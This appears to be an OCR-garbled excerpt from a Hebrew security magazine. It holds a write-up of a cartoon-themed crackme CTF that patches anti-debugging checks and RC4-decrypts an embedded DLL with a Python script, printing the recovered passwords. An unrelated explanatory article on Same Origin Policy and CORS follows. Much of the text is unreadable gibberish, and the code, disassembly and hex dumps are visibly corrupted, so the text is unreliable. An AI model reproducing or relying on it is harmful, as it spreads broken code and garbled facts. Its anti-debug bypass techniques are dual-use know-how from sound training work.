ApnNn

Roman Emperor =~ x _ ~ . X |

THRAMH YOU! COmME . -
REAIN"?

i
- 4
The intergalactic prison is in a secret location and we don’t know
where it is.. "
We pulled some strmgs and found an Intergalactlc prison gu d
program which is willing to tell us the prison’s coordinates:
Sadly, we don’t know how to talk to it.. B
Show us what you got and get the prison’s locat|on.

O0x10."meseekerint DW21 N' pP' N VYMaANDRNX AP 92 ®B"VY'aAanwd Yal pi
N'P'MN2 121 Tn DOXN pTlavw

; "%PROGRAMF ILES%\\meseeker inc™

Y2l PS> 1wa'l N1I1TONXK DYOWNNAMT N NN

ApPpNRER201D"2AWN NTANN | I AIND
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I WA '21VY N2 llowtikenD v o m Shawjcadedp ow timen | *' 2 waI5nn NNX D' P
I WA '1VY Nl highhime-nD v dmatdcdeladw hightime-n S w w5 nn NNX DAl Y
Yarpbo

TNl 'n DNO nrt YJIPIJ I wa ' nlIi YTNN DVRhYN NnIwWn N KX
NIWYY1 112YY Nt n ' NmohohDDw2aRr>TnNpn dOUpidl RR NILivwd p
11 Ay 'xaznbgmruntime—'na D' %aT1n NN
T 81 F9 C9 00 00 OO cmp ecx,C3
0 ~ 72 09 jb first.E21360
04 v 77 28 ja first.E21381
|| 3D 00 CO 69 2A cmp eax,2A69C000
1] ~ 73 21 jas first.E21381
EIP — 80 8C 24 30 01 00 00 1ea ecx,dword ptr ss:[esp+130]
| EE 24 00 00 0O call first.Ez1390

MNM'XPrIOHN JI N2 XKNDTOANNMNK XX 2NWVYOD NV TI p yop? D
d4d_decodePassOutput

XORMNI DI YD DY NITIINYMM 2W NI2VYDY I XA YN TN N' Xp

Q0nd® NnNoO'O0N NX Oo'mMmxz DY I1JT'"avprva D
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Y 2| hrdcoded X1 XDB) nNnNonn Xmml 5' on

:BBE213CA

movups
:BBEZ213CH EL L]
tBBE213C7 lea
BBEZ213CA pxor
:BBEZ213CE movups
tBBE213D2 nouups
:BBE213D7 pror
:BBE213DB novups
:BBE213DF cnp
tBBE213ES jb
:BBE213E7
:BBE213E7
:BBEZ213ET cnp
:BBE213ED jnb

I T AMMAOXX'IYITANn 91 02

Great Jobt
Your password is:

Hever_Clean_DHA_Uials With_Your Spit

%, o mmmm o o o mm e

vOUR COEEPEST
SECRETS

=
=

HOMEBASE team is working on deciphering the prison messaging sy
luckily for us our operatives found a program that knows the encryptio
but unfortunately the program is refusing to talk (maybe a technol
approach is better suited for this job since Spanish didn’t work):
We need you to*Make It Talk*

N' 0OnNnI VIDARPR&XMEIN N' XPX1I1 95N NYI Y nn pl 1

BA9118B7

009110E9 eax ebp
:B8%2118BC

:882118BE eax
:882118BF _nemset
:B89118C4

-889118C4

88911804

:8A9118C6 ___acrt_iob_func
BA91168CE

0091168CE

:Ba%2118CE eax
:Ba2118CLec eax ebp
:B89118CF

88911801 Eax
8911802 _fgets

ppe118D7
09116807
:Ba2118DA
:B82118DF

DN'NWYD NXNNOD'D NI 'NY N1 nXvufgeBnmunpl 10Hip TON 0021 R IN

TA0DNADIND DYIA AN 9O2NODNY Yt AAX NP Nt nNT'na

I NAPIVWY NI '"Xp119% 11 NAti Dgbug IXNAD, WP RNiPP2A0) MOQDW
NI1p nrmmapn TODY DO

ApnNAOC1LI D" AWN 1A NN | 1 7NDH
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Ynit term DWW TI p S2¥ DANNIMXY PN KOIMXY D' NI TIpa N

__initterm

NIE'XPI1I5N SYvYnuoauUR ad' PN@AXIATDODNIODNIOWY N>apn |10
NN'wY DOV DO'XIY ,nNNYY 20Dy nNnnoMmRiaT D" DY@NNLNO?
MNMY2>XN NI'"XpPr1ron Sy 0O'21 | NI 2

TIpP YUP NANOWYNY N'XPirlOH TI VI ANI'T '"UVIXN NVUI VY
d4d_overwriteFunc n* Xpi11 5n Sy H>non?d

SUBROUTTIHNE ===

DO2NO1. LTIV XP11 D yXmdnny DPUNNX 1 PRAp nMXPAIDB nivwn |

N vidad_antidebugThreadn* Xp11 50 nn Sy

, YXNND MADOI NN NANXNIAI' T NXNI1Ithead? nOX)NR XAQAT T W' X DN
nN1A0D] 125w N'121 NNV

ATpPpNRER2O0OAYN MYTANNX |1 ND
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72 N' XK1 nnxy n!

5 "Debugging attempt found... abortingt™

TMp VP py miGethiockOount64n' X p1 | dthreadiyv Il AN NI X112 | N
DY N'121I NN NN Athread 5T 1 ¥' MMO NN N0 XWMNIINDMIN NI 11Y 0DAR!

.ExitProcessn' Xp11 950

D' 1TV WYD ATWON NTN AN2I'T 'U0DIND

)DwCreationFlagan 1 D ®usgend 21X N2 thread>n'ni1 1A >

HANDLE WINAPI CreateThread(
_In _opt_  LPSECURITY ATTRIBUTES l1pThreadattributes,

In_ SIZE T dwStackSize,
_In_ LPTHREAD START ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
In_ DWORD dwCreationFlags,
_Dut_opt_ LPDWORD 1pThreadId

)

DV YNIPh MW wuéet 1N pahmeadimN D)W N1 WNI QD Pach imgw2D no O
I NXV

ApPpNRER201D"2AWN NTANN | I AIND
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retn T 1 p DtRread2

D'YY N'N nNYapnnvw A

. c3 ret
* 8B EC mov ebp,esp
L] B3 E4 FB and esp,FFFFFFF&
L 83 EC 0OC sub esp,C
L 53 push ebx
] & push esi
] 8B 35 04 40 93 00 mov 251 ,dword ptr ds: [<&GetTickCounted>
» 57 push edi
» FF D& call esi
NNoO' D D'.JD‘nlurpa)mmNbpr|Aanthebuggmgn oy TTInnNnd I1n''ov

NNO' Badh 2wnnw TI p yopH vy

Sw UFNY AmHashTmawvwn 11T N Xpal

N1 pPONY 5 AaA10x8ATw9dc5 VI 2 p N

d4d decryptDIl N Xpi11 95

loc 941111

FNV2 Y21 Tnvw

AN'"IAIPI | 1A2'1T NRYPD

; "Decrypting password.\n"

_malloc

loc 011111

56
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NN DLuTIdvdddloadDll Nt X P11 O wl4d deceyptDll "iYTXpal DY 11 XIpW N
-1 NN N1IYO5NY 21 Y'N YXINN.0OwvunY TRYI NND2TDUNMNIWPI DD
:encodedDLL

YoadLibraryAn' X p 11 DL ymirpym NN dgd leadDil nm'xgan

5 "GettingSchwifty.bat™

DMashin DEL Y21 p 1152 [DLLNP2 NP DYV ONN' N2 X2 1101D020NVY NI
Hashn n' " Ny DPOTYIM'PpN NNX NIYDHY ' Td2 NNO AN NI T

TONINMNDMNRINP'Y TX , TTI pnip'MMEDMONIMX PAXIDDY WL
N2 IXY [ 121N DEMIYONRNY'RAND' NDDD'XDRTY X110 NMT1 pNnn
DLENY2 !l p S w D' o-hd @RSD28FB5 NON 1OH5N1IN DwWi-NDXNODYR®M M1 N@MD
V1 X' 1 0f00905A4DV N
OXE80285B5 * 0x00905A4MXE892DFF8
NNOD' ON Paghn N1 nap2
NIYYS IX DTN WUKNYD yYy'anY NI odhkuyDNPD® WX I22PXINI MW
.NT N YUKRDDN NN D2puptimeT D' NRARA ' TN
, 22ApPNN |1 D1 NOXEBMDFREY MMIVXD | n1t 21 WNDID NN NITRNWS  an
NN Ni11nna TOLXP2I pNrawar po
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003385970 (400 5A 90 00|03 OO OO OO|O4 OO OO OO|FF FF OO OO|MZ.......... Y. .
00338980 BS 00 00 QOO0 OO0 OO OO|40 OO0 OO OO|O00 00 00 00|  seswnns@innnnns
00228990 (00 OO0 00 OO|OO0 OO OO OO|OO0 OO0 OO OO|O00 00D 0D 00| cveenaneeennnnns
003ZE2A0 (00 00 00 QOO0 00 OO 00|00 OO0 OO0 00|08 01 00 O00) s snanssnnnnnns
0038980 |0E 1F BA OE(0O0 B4 09 CD|21 BB 01 4C|CD 21 54 68|..2.. .11 .LI!Th
Q03280 |69 73 20 70|72 6F &7 72|61 60 20 63|61 6E &E &F|is program canno
003283900 |74 200 62 65|20 72 75 GE(20 69 6E 20|44 4F 53 Z0|T be run in DOS
003389E0 (6D 6F &4 &5 (2E OD OD 0OA|24 OO0 OO0 00|00 OO0 OO OO|(mode....%.......
003383F0 | CC 21 09 54|85 40 &7 D7 |85 40 67 D7 |88 40 &7 D7 | L!...E0x.E0X.E0X
0032BA00(3C DC 96 D7 (81 40 &7 D7 |3C DC 94 D7 ([FE 40 &7 D7 | <U.x.2gw-<U.xpagx
00338410|3C DC 95 DF (20 40 &F DF (B3 1E &4 D&|99 40 &7 D7 |=U.x.2gx".d0.2gx
00328A20| B3 1E 62 D&|(9E 40 &7 D7 (B2 1E 63 D&(87 40 &7 D7 | *.bO.2gx*.cO.2gx
00338A30 (55 BF AC D7 (8B 40 &7 D7 |85 40 &6 D7 |DE 40 &7 D7 | Ui-x.2gx.2fxbagx
00338A40|1F 1E 6E D&|8A 40 &7 D7 |88 40 &7 D7 |89 40 &7 D7|..n0.E0x.E0xX. 20X
00338A5S0(1F 1E &7 D&|89 40 &7 D7 (1A 1E 98 D7 (B9 40 &7 D7 |..g0.2gx...x.20x
00338A60|1F 1E &5 D6&|(8% 40 &7 D7 (52 63 63 65|88 40 &7 D7|..ed.2gxRich.2gx
00238A70 (00 OO 00O OO|OO0 OO OO OO|50 45 OO0 OO0|4C 01 06 00| ...0uu.. EER ==y
003383A80|EA BE 00 59(00 OO0 OO0 00|00 OO0 0D OD|ED 00 02 21(&%.Y........d..!
003238A90 (0B 01 OE OO|O0O0 AC OO OO 00 82 OO OO|00 OO OO0 OO ..... i T
003Z8AA0 (5D 17 00 00|00 10 00 00|00 CO OO0 00|00 00 D0 10)| s ssnnssPAaannns

0 O O e O T T o T o N O = o i O O A O o O O T

Piper 16 Dwexported N' X P11 DbL YDIwpa MINX D' 1 VI DY

5 USAAAAApipeAAFlumbus_channel®

NOODI1 pY yoDneaxnl annuPiPEMMNI, RAPENY T TS noIn 1t n' X
N2DN YUOPY Dr'yran TIPpN Yy 21 ayvHhTon' D' wnn

; "What is cooler than being cool?"
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D'/MINPQE@E'MNNIY | ' Migedrbaxa MpY D' DIn Nt '"INNI NONY
D'VNXI 1pY RexdFite NNIXIiP1 1 DN ' D5

NIE21ITA NI'ANILRNITRNIDERNI' NN NI D

NX 22P1 [ 121 N'N' YUXNDIN ONXN ,NIYIDY pI2an S5y WUKND
NNnD' 0N

; "Oh HMan, you need to work on work music ...

..RC4 XD NRC422WNL, TY |1 Nwn DY | 9XINn 0O'"D2"1X 11N1 NV
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y

@l aEEsasa Technoloqgic

MnlbHbX

nn S>yo>wbn' nn

1 & oin

I R (O VR R

1
1 o ik

1 ik

[T

tmp
pos =
newbuf = ""
box = [1

a I%for i in range (0x100):

box.append (i)

for i in range (0x100):
pos = (pos + ord{key[1%E2]) + box[i]) &O=xff
tmp = box[i]
box[i] = box[pos]
box[pos] = tmp

pos = 0
k=20
for i in range (len(buf)):
tmp = {(pos 4+ 1) & Oxff
pos = (box[tmp] + k) & OxEf
k = tmp
posl = (box[pos] + box[tmp]) & Oxff
buf[i] “~=box[posl]
print buf

ni oib

N N11D210N NNO' DY 2 pNVUnwl | prm@' WM |1 PN 0N WMDY

D 1

152

naon

I N

NIT1LINNN S5V 221 ADIAIYXPAYINI p'ANRPX T pa
"What is cooler than being cool?"
NX Y21piceColddmn' 'n 1*wn '55 DV nNal vnnl
D21 NY XI1pY D'Bofernwl mw m'Pach nypxan®2  icesodd mMM mnn
B4 Dump 1 By Dump 2 2% Dump 3 4 Dump 4 4L Dump 5 % watch 1 [x=] Locals :/ Struct

Address | Hex

ASCII

0018FAAC

459 62 65 20|42 6F &C 64|85 10 91 DD|£§ EA 18 00|Tce ' Cold....AU..

4
]
i
]
i
i
i
]
i
]
i
i
i
]
i
]
i

~

NNOD' ON ODuput-m' DOWI D

You are entering highly secure area. please enter your password.
1234

Great Joh!?
Your password is:

You_Pass_The_ Butter

| ——

60
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CRACH THART LOCH! |

i
|

- .
That's it! We're at R. Sanchez’s prison cell. Only one EXE stands between him

and a Braveheart movie ending style FREEDOM! (Just without the dyingipart).
So | guess it's time to CRACK THAT LOCK! i
-

N2IN 2AXNNDAAN VY Dprme n'oXopl1 1 955 v awOOdwm) 1 DX
ﬁ x32dbg - File: Third.exe - PID: FEC - Module: third.exe - Thread: DE4
File View Debug Plugins Favourites Options Help Apr 25 2017
DE =0 ¥ tua@lemgsjadcrsres B Ii=efi sl
B cru | @Graph | | s Log | | 1l Notes | ® Breakpoints | B Memory Map | L] call Stack | =3 SEH | 22| Seript
* [DOCE1000 30 nop

OOCE1DD a0 op
2 a0 nop

]

(=)
o = gy e ey [ ey ey
D000 00000000000

TI PN NN NNIdt teym-N SenISN ' YIOMUR Y1 1 Nd NT N 1%Wl DAY

__initterm

MI1'"1ywl bhwr xpxom nbava

-0 NITY21 MTAXNA' T W' DOND MptiDelduggivgh  Smed | TN IXDP 10 DXNpA | D91 )
D' WaA'1l N1l peessd Ol w v PmpasEnvironment Block W NIPEB p
TANL'T UM MTINMNR Mm@ ) NIA NSY30F2AP] ' N

I M2 I N AN TH| 'ONV N INWN 'MW AMD2bogy DTNX ,TPITRY > NI1n Sy
ret-opatch N1 wywaY wa
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:NOP N 10%90maina | | UNOX30@BN N2AY 2NI D NI N AN T W' | n

Attributes: noreturn

_memset

D' awWnmHw: T N A XNDXlobal flagsanw NWA MP T,0 2 ANX2I' T ' DIXND DV i
D' p Oheapeb v

Flag Value
FLG_HEAP_ENABLE_TAIL_CHECK ax18
FLG_HEAP_ENAEBLE_FREE_CHECK ax28
FLG_HEAP_VALIDATE_PARAMETERS | Bx4@

Total ax7e

Yx90 Dmwain N' ' Xpl11 51 IX300NWRXNDDONDT N5D D

_memset

RC4 nNni T¥Y I TN N195XNN DYV DLMYRXRI ' D1 YPNY NNENY YN
JSl1wabwh nnt 12

ApNRA0O1ID"2AWN NANXK |1 QND
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MN1IVYDODY 1'DIXYDINPARVYNDLEY | NX D' 22apn |1

SNAN2IN N1 NN2 VituaAlse 'Y iYW 99 MMONNX XX N2 ' D20 N2 NI ' Xp:

DLL Y21 PN NN D' pP'NynNn AXXpPAN '1NNKN

NX D' yYyXJInWLL pDIYp ip ON RO20editara? w1 NI ¥ Y X1 21 DA NI 1NTI

'l Jelocations D' 1 wn!t | 112'1 9 15V

APNRER201D"2YWN MANN | I
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Technologic

N1ODXNN YvY DIL'YVIAPDKR MM W 9ddRythoBm 0D' T p0D 21 NI Y
12w A WD
1 import struct
2
2  [Fldef crypt(buf, key):
4 tmp = 0
=) po= = 0O
8 newbuf = ""
T box = []
g B for i in range (0Ox100):
g B box.append (i)
11 [H for i in range (0Ox100):
12 pos = (pos + ord(key[i%len(kev)]) + box[i]) &Oxff
13 tmp = box[i]
14 box[i] = box[pos]
15 B box[pos] = tmp
16
17 pos = 0O
18 k=20
13 H for i in range(len(buf)):
20 thp = (pos2 + 1) & OxEf
21 pos = (box[tmp] + k) & Oxff
22 k = tmp
el posl = (box[pos] + box[tmp]l) & Oxff
24 B buf[i] *=box[posl]
25
26 7 return buf
27
28 key = " xBT\RIF\R0F\REE\REB\ B\ w70\ x4\ xAT \ x TC\ xBE\xBF\ x D3\ x4B \ xEA\ D4 "
29 addr = ScreenfEL() #the cursor of the enrypted dll buffer
30 buf = "
31 [Efor i in xrange (768): # =ize of dll in dwords
B e buf 4= struct.pack("<I",Dword(addr+i¥4))
2 with open{"mydll.di1l", "wk") as fp:
B fp.write (crypt (byvtearray(buf), kev))
36 print "dll written to disk"
" Ratch | 1 ' WYMain' N NXp11 9Y inittermdd XXwWAaN nn 213 NN
nNlli Nnnha D0' Xl 2"y | N>
OOCEL1FFO c3 ret
O0CEL17F1 64 8B 35 30 00 00 00|mov esi,dword ptr l:[20]
ODCEL7FE 80 FE 02 00 cmp byte ptr ds:[esi+2],0
OOCEL1TFC ~ T4 FA je third.CE17F8
OOCE17FE &8 00 30 00 00 push 2000
OOCE1803 &8 90 00 00 00 push 20
OOCE1808 &8 00 10 CE 00 push third.CE1000
O0CE1S0OD ES8 FE 0D 0O 00 call third.CE2610
OOCE1812 83 C4 0OC add esp,C
OOCE1815 ~ EB E1 jmp third.CE17F8
OOCE1E40 C3 ret
IDOCE1841 64 8B 35 20 00 OO0 00| mov esi,dword ptr -:[30]
ODCE1848 F& 46 68 7O test byte ptr ds:[esi+68],70
OOCEL1S4C ~ T4 FA je third.CE1848
OOCE184E &8 00 30 00 00 push 2000
OOCE1853 &8 90 00 00 00 push %0
OOCE185 8 &8 00 10 CE 00 push third.CE1000
OOCE1B5D ES8 AE 0D 00O 00 call third.CE2610
OOCE1862 83 C4 0OC add esp,C
OOCE1 865 ~ EB E1 jmp third.CE1848
ApPpNER201ID"2AWN NTANXN |1 QND
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1% D' vYMmanITBOXXPII 5N DYV D'maid TON XIpundNM DWXDOI I T N

D' XN2nN 0O'11271H

YGetComputerNameWn' X p1 | DbL AR I P11 VI O

; "GetComputerMameW”

DV patch ' 7' SV 1 12NdVY !

TNX ,2¥YNnn SY Dwn NN 22apY
YVXI ARC41I ndDnl! T¥ 110

N1DXnY nNN5n 11 N2 nrT im 0Ow2a vnn

1 12w 1

[ 12" 1T 121youwniy@ay panmNNINp YDIUY 21 wNnH

17" NN TN
d@edComputerNameW 0 W 1

N' Xpl11 oDOAY Di'fmintemEa Nt ' N

| #] Functions windaw O &8 X
Function name Segment
|E| GetComputerNameW Jext
| 7] DIEntryPoint Jtext

DLL Y21 P> DI 1 akerne32.dil '> @xComputarNanmeW X1 0N T1 pOLEnDY 2V pLO W

2 NI NY N XxgleaxTON ' 2AWNAY N ANAAYMIOUYID 121 Nn NY' nna
NNX21 NIIpY D' XI
TpPpNRO1ID"AWN NANK |1 ND
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Technologic

N1 | GaGomputerNameWn' Xpl11 5n | T

NI YOTMIQRP IV NI 11 UNIN Npath-D WAN, YIRERON'OP®WDA '3 1 TN N' Xp
NN 22pP% *TI2 NTIPO N NI YL NLIDMINONIFWYINNONNX W XM
o' X1 N 1 NY nNNXI
TI P2 KX! WO DO X D OTPNRITYN | *' 2 NNXI T ¥Yn NyYX21nn , nrn
EIF 5B 01 mov 2ax,dword ptr ds:[ecx]
3B 02 cmp eax,dword ptr ds:[edx]
~ 7B &2 jne 1E113A
53 C1 04 add ecx,4
83 C2 04 add edx,4
53 EE 04 sub esi,4
~ 73 EF jas 1E10D2

m

2ax=00281100
dword ptr[edx]=[0015FD3C]=341200FE
001E10D 4

4 Dump 1 | W4 Dump 2 | U4 Dump 3 | W Dump 4 I W4 Dump 5 | & watch 1 I [x=] Locals | 2 Struct

Address | Hex | ASCIT
001E2000|48 CC 37 29|AF B7 FD 45|86 8D F9 EA|E6 0D 1C 4D |HIF) .VE..U8E..M|
DI patchINI WYY X'N NOopn J2TNn ,nNTIpodHN NIIT WL N'n Nr

L.NO PN oY TanNnN XA a1 wnd

Tl p YOpI2 ' wvwna D'"1 1 yvnwvy 1NTOHN2N

Address | Hex ASCIT
0015FD3C| 48 CC 37 29|AF 87 FD 45|86 8D F9 EA|E6 0D 1C 4D |HI7) .¥E..UEE..M

n . . ]
DWN AYI NN 12 | jb-DadPatch Mg ¥y Yy MarmX '"ATOX X2N T1 p YU
. 11}
NND' DN NN 22pOw TOwnmwrm ' 71X
E . 8E 4D 08 mov ecx,dword ptr ss:|febp+s]
| . 8D 55 FB lea edx,dword ptr ss:|[febp-si
! . 8D 41 0OF lea eax,dword ptr ds:[ecx+F]
! . 3B CA cmp ecx,edx
| mmm————- . v 77 2B ja 1E111E
! | L 0 8D 55 EC 1ea edx,dword ptr ss:|[Jebp-14]
0 f . 3 3B C2 cmp eax,edx
EENTEEEEE @ 5| v 72 24 jb 1E111B
P . 7 8B F2 mov esi,edx
[ . 9 BA 10 00 00 0O mov edx, 10
L o[ oo1E10FE 2E F1 sub esi,ecx
| [EIP] ————>e BA 04 0E mov al,byte ptr ds:[esi+ecx]
! ! :| - 3 8D 43 01 Tea ecx,dword ptr ds:[ecx+1]
[ 1 L] FE C0 inc a
! ! f I . 88 41 FF mov byte ptr ds:[ecx-1],al
! ! :l . 53 EA 01 sub edx,1
by b——e ~ 75 FO jne 1E1100
! 0 ! . SF pop edi
| ! ! . 8D 4z 01 lea eax,dword ptr ds:[edx+1]
[ L] SE pap esi
P . 8B ES mov esp,ebp
00 . 5D pop ebp
L . £z 08 00 Fet =
11}
ApnA01LD AvYn TANNXN | I 2ANb
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NN |RCHOW NniI T¥Y N1O9DXNY NNO5NN n'nNn' M No5D0DI P NXDI bwr

MO AX 12 XKY N1l D21 n

May you enter Deep And Dreamless Slumber.

s

Great Joht
Your password is:

A_Calm_Lion_President_Sends_His_Regards

[y —

Y'Ou ROCH!

-

Inn'wna Tiny nnYxn Imaan Y2

I\nnrn 1279 NavY1 0'pnwn pnwy proany InTa yun my?:
=]

182 ynY 0N n1Mp nwany

http://www.codeguru.com/cpp/misc/misc/applicationcontrol/article.php/c6945/Runni@pde

Beforeand-After-Main.htm

2 N | Securityn N p Y N ionSourceN 1 1 R Reverse Engineeriig D1 NRD 1:D4D
ATIOMN oY nV N O RRD DL dAMMMpNwnpNnd
#reversingy: | N2 WRGN N1 Wo

www.cheats4gamer.conn: N N AX 0

llcashall@gmail.con®: ' ' M'ax M XD

.Open Source J NASNetworks N7 2 N1 YV T' n: Rea@mE AP M | x -

http://www.RealGame.co.il : D1 T V16 X 1NN

realgam3@gmail.com: ' 6 n' X

https://github.com/realgam3 GitHub o

ApPpNRER201D"2AWN NTANN | I AIND
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http://www.codeguru.com/cpp/misc/misc/applicationcontrol/article.php/c6945/Running-Code-Before-and-After-Main.htm
http://www.codeguru.com/cpp/misc/misc/applicationcontrol/article.php/c6945/Running-Code-Before-and-After-Main.htm
http://www.cheats4gamer.com/
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Same Origin Policy
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http://store.company.com/dir/page.html 5 TN nNnNnal1 T2 , 0'nNr DN\

D' PO PmMmD XA N

T http://store.company.com/dir2/other.html
T http://store.company.com/dir/inner/another.html
1 http://username:password@store.company.com/dir/another.html

1 nmdy) XY OINX

. N1 1 v - mtps!/siote.company.com/secure.html
. N1 1 ¥ hitpAstore.company.com:81/dir/etc.html
) NPt TIn NN NDsh hitp:f/riews (company.cem/dir/other.ntml

DY 2axXxnia | 5T97T2a |
http://store.company.com:80/dir/etc.html
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202NN INKXY YOI A XNID |dn ATNNY . pni1inn NYI

Pl12n S¥Y ATNXNDY S5a1 . pa.
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javascript T1 p
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NMNIN NX'AWND NN 22p11WMXNTDI nNVUp

@ XMLHttpRequest cannot load http://localhost:8462/apifcard. Mo 'Access-Contr ol-Allow-Origin” list:1
header is present on the reguested resource. Origin 'http:/flocalhost:388@' is therefore not allowed

access. The response had HTTP status code 491.

N1l nNnnbY 0D1:
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Origin 1 x " A

~

V' dogument.domain X Pavascriph Nl nNwn ‘1 1'w T DV 15w | ' nl
AN'AY PUNTTYI ANX . 1 2¥W AN [ '"'"'NI T2 I X ,1nxy Swv |
.| ®TD T2

MNIIN N1 X2 770 ystore.companylcAmw™l DYID '0OD ' 1 PO NNaAl

[document.domain = ficompany.como |

[*'nNni T nNinvnn , ITnNiDDYl OXRNINMA 19 DPRTON,' ANMYNN 1Y
191N NINYNN L, |1 D2TY ANNDI HostM ANXN UDPDDOW NN "TANY
' B.sbm A ' X! [ **'"NI T NINWnNnnNn OXK |22 .| 271y KY¥W | ''n

)Y T NERY T NEX TN 1 WO Y [medcomdD W T IR ) W, ND

HTTP access control (CORS)

[ " "21yn XIDQDW yYI'nm 1Y wr 1> pD'AINX NIl pnn Da 1!
[ DTVYY 15y DVBO5vvd NIVONNM YP 5 0AMEZORY] N NAN THY .Myl pl .
NiES5yvn% S1 2 )YTInX 1 pnn( MQORSONNNWMXAYJYMDNA PINY DY 1T

'Y Nawvn 11T yYalpn NX 1'ayvaY 52 yal
HTTP N DI n ' GORSCORS Crags Wigin Resource Shasing | 1 2A12 N TyYI 1 11T N2

CONN 1PN NXNIN YT nd Nwad T DDA T be@dern' WITINN D
.yVyT'nY nwad D' YWl XN AdcessCpnmotAliom-Origin | TEYTTBI DN N N i

.M Ypan NX NINTY I X Mvwokdgn DRI LOUN2NICORYY@INYW DD DV Y

.preflighted requestd simplerequests , D* AWD» NI ¥Ypan 'Al1 0 | '2 N

NNXI2IN NN' ¥an 1 NnNPOST MMMADGETpANI TN DrSioyipvequest
Accept 1

AcceptLanguage 1

ContentLanguage 1

ContentType 1

DPR ¢

Downlink 1

SaveData 1

ViewportWidth 1

Width
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D' D>y nNn PO wwpOenkmType nTwn 11 1Y
application/xwww-form-urlencoded 1

multipart/form-data

text/plain
nilil v WIVJ'NSimplel)y}ﬂ!&ﬂighnla}!me nypa n'nan 1 5NN D' X1 N2 NT
| 1T YWXNAIN Al OnNN n\upnb
Client Server
Simple request o
GET /doc HTTE/1.1 l
Origin: Server-b.com
) HTTP/1.1 200 OK
Rocess—-Control-Allow-Origin: "'I
[https://mdn.mozillademos.org/files/14293/simple_reg.png 1)1 p N
nNal vynnil nypan I N !
GET /resources/public -data/ HTTP/1.1
Host:  bar.other
User - Agent:  Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre)
Gecko/20081130  Minefield/3.1b3pre
Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept - Language: en-us,en;q=0.5
Accept - Encoding:  gzip,deflate
Accept - Charset: 1SO-8859- 1,utf - 8;9=0.7,*;q=0. 7
Connection: keep - alive
Referer: http://foo.example/examples/access - control/simpleXSlInvocation.html
Origin: http://foo.example
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 00:23:53 GMT
Server:  Apache/2.0.61
Access - Control - Allow - Origin: *
Keep- Alive:  timeout=2, max=100
Connection: Keep- Alive
Transfer - Encoding:  chunked
Content - Type: application/xml
[XML Data]
yvi'nd® nwad S1 0" 1 pn YOow | DTHDHTHY Hnonw an , Nn'2a:

D''D'XD0 NI2AavpAXNINNDwYyTRANI NI Y pnn AT D' 2an?

Nani 52
Access - Control - Allow - Origin: http://foo.example |
ntS1 yo 13000 O 1 epIaN 1Y N "N Ny .Nnade.]'sm mupwnm\nnbnmmm
Nni vpa r1'n Ho2 |HTMLN'ID)’]]7|'3@!DI]ADT]RIDDIJ Yow' 21 nav
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:COR® 11 w' XN GHTUVTWPOA ' 22

"N NOvY

app. get (/" , (req, res){

res . send('Hello Get!' )

})

"2 nawy T DV walinn 1

$. get ('http://localhost:3001" , ( data) alert (data))
N2 yon NX1NY2 nnial 'ORTIONSEYpayvNRDVYIWRINDF DO
NDO NI'Dl | 9T95TN 92X NY'AnHdeGh Nl YNAO> NXNNITNNDINN

OTI PN NADT I NY NAXR'"AWYN NX Y'5D5pn ]

© XMLHttpRequest cannot load http://localhost:3881/. Mo "Access-Control-Allow-Origin' header is present on the requested
rce. Or

resou Origin 'http://localhost:3088' is therefore not allowed access.

Nn5na nNnY1yon NX VYX'21 NIvnvw

| 11sinplam 1,0Nn NWpla1CSREYNNRNRD .12 TNY 1D N¥Ypan NN DON
NN PIHPaIM X2 AX'"AVYND , N2 WYNY NIAINION NN ' DI1WY VA
1 > laert-p' X W

app. get (/" , (req, res){
res . header ( "Access - Control - Allow - Origin* , "
res . header ( "Access - Control - Allow - Headers" ,
res . send('Hello Get! )
b
preflight Nnvpa n'19Y '73[)]'1 I T2 nypa .Y NN NnNXI! aAXnn , "
20 Ta DNX'"X201'95 A% w' 232 ,AN1IDN N¥YPIN NN 22pY |01 n

NITVYN NI YUpl MHTTPRRPTIONMSIPY P ITIOX',Nn NO>WY' | 5T5TNY nwpan
D'I7T NIl pnn 22p>o
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1 1Y
A n N nnn
-
~Mathod: POST
i ~Haaders: X-PINGOTHER, Content-Typs
@
=3
o
o
<
=
£
=
=
4]
<
o Access-Control-Rllow-Origin:
Access-Control-Al low-}
Access-Control-Al low-Heade
-
B ; charset=UTF-8
5
=3 ~Mathod: POST
o Access-Control-Request-Headers: X¥-STNGOTHFR, Conternt-Typs
£
[1+}
=
-
HTTE
Access-Control-Allow-Origin: http://

[https://mdn.mozillademos.org/files/14289/prelight.ong: 71 p n
Nid>11n nNnwpl IXPINGQAIBERDPINgpoMY N FPASTMW P21 | I NOWYY nN' )

NI'D NOPTION@NNYPI NX TMpRUUNDIBTADWIWY N1 ,D'VYOpn 'l

POSTNWYPI NI HY>WUY niwlr vp

Access - Control - Request - Method: POST |

D' VI vheadessu N1 1Y NI WY wpani

Access - Control - Request - Headers: X- PINGOTHER, Content - Type |

nNOnNN nwpan

OPTIONS /resources/post - here/ HTTP/1.1
Host:  bar.other
User - Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en - US; rv:1.9.1b3pre)

Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept - Language: en - us,en;q=0.5

Accept - Encoding: gzip,def late
Accept - Charset: ISO -8859- 1,utf - 8;9=0.7,*;,0=0.7
Connection: keep - alive

Origin: http://foo.example
Access - Control - Request - Method: POST
Access - Control - Request - Headers: X - PINGOTHER, Content - Type

HTTP/1.1 200 OK

Date: Mon, 01 Dec 2008 01:15:39 GMT

Server: Apache/2.0.61 (Unix)

Access - Control - Allow - Origin: http://foo.example

Access - Control - Allow - Methods: POST, GET, OPTIONS
Access - Control - Allow - Headers: X - PINGOTHER, Content - Type
Access - Control - Max- Age: 86400

Vary: Accept - Encoding, Origin

Content - Encodi ng: gzip

Content - Length: 0

Keep- Alive: timeout=2, max=100

Connection: Keep - Alive

Content - Type: text/plain
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https://mdn.mozillademos.org/files/14289/prelight.png

5 TwUXnNn NID 'D N1yl 115¥Y NYpaAd Nin'XNn ni
http://foo.example
Gontent-Typel X-PINGOTHERN I T NI DN NN QOPTIONSPRIIGETIMAITI, NN NWa >

NNl XN NKX188400N ) MV DAbcessControfMaxAge DW21 NINI D D' X1 11N2
NI Yp2a TIY NI Yeaehed) MDY ANRITUN 'TIIDAWY 512" XIn )Nl '
niavw 15w peflighn 2

"N NOvY

